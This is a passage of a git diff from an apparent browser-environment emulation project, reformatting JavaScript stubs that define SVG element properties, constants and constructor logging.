get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGEllipseElement.js b/env_xbb_lastest_jsdom/env/SVGEllipseElement.js index 92450af9..3bea4053 100644 --- a/env_xbb_lastest_jsdom/env/SVGEllipseElement.js +++ b/env_xbb_lastest_jsdom/env/SVGEllipseElement.js @@ -1,9 +1,51 @@ -// SVGEllipseElement对象 -bodavm.memory.globalobj['SVGEllipseElement'] = function SVGEllipseElement(){if (!(this instanceof SVGEllipseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGEllipseElement'], "SVGEllipseElement"); -bodavm.memory.globalobj['SVGEllipseElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGEllipseElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "rx", {configurable:true, enumerable:true, get:function rx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "rx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "ry", {configurable:true, enumerable:true, get:function ry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "ry_get", arguments)}, set:undefined},'prototype'); +// SVGEllipseElement对象 + +bodavm.memory.globalobj['SVGEllipseElement'] = function SVGEllipseElement() { + console.log_copy('SVGEllipseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGEllipseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGEllipseElement'], "SVGEllipseElement"); +bodavm.memory.globalobj['SVGEllipseElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGEllipseElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "rx", { + configurable: true, + enumerable: true, + get: function rx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "rx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "ry", { + configurable: true, + enumerable: true, + get: function ry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "ry_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEBlendElement.js b/env_xbb_lastest_jsdom/env/SVGFEBlendElement.js index bab661b8..da26f572 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEBlendElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEBlendElement.js @@ -1,47 +1,287 @@ -// SVGFEBlendElement对象 -bodavm.memory.globalobj['SVGFEBlendElement'] = function SVGFEBlendElement(){if (!(this instanceof SVGFEBlendElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEBlendElement'], "SVGFEBlendElement"); -bodavm.memory.globalobj['SVGFEBlendElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEBlendElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", {configurable:false, enumerable:true, writable:false, value:15}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", {configurable:false, enumerable:true, writable:false, value:13}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", {configurable:false, enumerable:true, writable:false, value:15},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", {configurable:false, enumerable:true, writable:false, value:13},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEBlendElement对象 + +bodavm.memory.globalobj['SVGFEBlendElement'] = function SVGFEBlendElement() { + console.log_copy('SVGFEBlendElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEBlendElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEBlendElement'], "SVGFEBlendElement"); +bodavm.memory.globalobj['SVGFEBlendElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEBlendElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); 